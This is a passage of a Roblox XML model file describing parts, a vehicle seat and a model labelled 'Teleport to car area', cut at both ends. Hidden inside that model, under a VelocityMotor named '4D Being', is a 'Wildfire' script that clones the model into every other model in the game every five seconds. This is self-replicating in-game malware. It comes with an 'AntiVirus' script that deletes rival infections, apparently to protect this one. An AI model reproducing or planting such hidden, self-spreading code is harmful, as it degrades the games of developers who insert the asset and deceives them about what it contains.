				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Teleport to car area</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Humanoid" referent="RBX1211">
				<Properties>
					<float name="Health">0</float>
					<float name="MaxHealth">0</float>
					<string name="Name">Humanoid</string>
					<float name="WalkSpeed">16</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1212">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1001</int>
					<CoordinateFrame name="CFrame">
						<X>82.5</X>
						<Y>0.600000024</Y>
						<Z>44.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Head</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>0.400000006</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="VelocityMotor" referent="RBX1213">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX1214">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX1215">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">4D Being</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX1216">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wildfire</string>
								<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX1217">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">AntiVirus</string>
								<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1218">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-28.5</X>
					<Y>47.2000046</Y>
					<Z>-70</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>13</X>
					<Y>7.20000029</Y>
					<Z>12</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="VehicleSeat" referent="RBX1219">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>139</X>
					<Y>6.69999933</Y>
					<Z>52</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">22</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">10</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1220">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1221">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>55</X>
					<Y>7</Y>
					<Z>30.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>8</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1222">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-27</X>
					<Y>9.40000057</Y>
					<Z>-75</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>44</X>
					<Y>18</Y>
					<Z>46</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1223">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>169.800003</X>
					<Y>4.4000001</Y>
					<Z>96</Z>
					<R00>0</R00>
					<R01>-1</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>1</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>36</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1224">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>148</X>
					<Y>4.4000001</Y>
					<Z>114.199997</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>0</R20>
					<R21>1</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>44</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1225">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>106.5</X>
					<Y>0.600000024</Y>
					<Z>128</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>21</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1226">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>201.5</X>
					<Y>11.8000002</Y>
					<Z>205</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>11</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1227">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX1228">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>1.60000002</Y>
						<Z>200.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>2.4000001</Y>
						<Z>17</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1229">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
